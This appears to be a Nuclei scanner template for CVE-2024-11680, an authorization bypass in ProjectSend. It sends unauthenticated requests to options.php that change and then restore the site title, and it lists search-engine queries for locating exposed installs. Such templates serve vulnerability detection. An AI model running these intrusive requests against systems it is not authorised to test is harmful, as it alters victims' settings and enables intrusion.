ProjectSend <= r1605 - Improper Authorization

id: CVE-2024-11680

info:
  name: ProjectSend <= r1605 - Improper Authorization
  author: DhiyaneshDK
  severity: critical
  description: |
    An improper authorization check was identified within ProjectSend version r1605 that allows an attacker to perform sensitive actions such as enabling user registration and auto validation, or adding new entries in the whitelist of allowed extensions for uploaded files. Ultimately, this allows to execute arbitrary PHP code on the server hosting the application.
  impact: |
    Unauthenticated attackers can bypass authorization checks to perform sensitive actions such as enabling user registration, modifying whitelists, and ultimately achieving remote code execution.
  remediation: |
    Upgrade ProjectSend to version r1700 or later.
  reference:
    - https://www.projectsend.org/
    - https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf
    - https://vulncheck.com/advisories/projectsend-bypass
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-11680
    cwe-id: CWE-287,CWE-863
    epss-score: 0.91559
    epss-percentile: 0.998
    cpe: cpe:2.3:a:projectsend:projectsend:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: projectsend
    product: projectsend
    shodan-query:
      - http.html:"projectsend"
      - http.html:"projectsend setup"
      - http.html:"provided by projectsend"
    fofa-query:
      - body="projectsend"
      - body="projectsend setup"
      - body=provided by projectsend
    google-query: intext:provided by projectsend
  tags: cve,cve2024,projectsend,auth-bypass,intrusive,kev,vkev,vuln
variables:
  string: "{{randstr}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "projectsend")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'name="csrf_token" value="([0-9a-z]+)"'
        internal: true

      - type: regex
        name: title
        group: 1
        regex:
          - '<title>Log in &raquo; ([0-9a-zA-Z]+)<\/title>'
        internal: true

  - raw:
      - |
        POST /options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_token={{csrf}}&section=general&this_install_title={{string}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(content_type, "text/html")'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{string}}")'
        condition: and
        internal: true

  - raw:
      - |
        POST /options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_token={{csrf}}&section=general&this_install_title={{title}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(content_type, "text/html")'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{title}}")'
        condition: and
# digest: 4a0a00473045022052eaeabb80bde6832d8e000974e2426dc79b4fbc95198e8442e4857c4d3434ce022100b64f7f3b9cd2e5b36ff40180f751eea1dfa8ee426d1e46eca0275993ee1a1e22:922c64590222798bb761d5b6d8e72950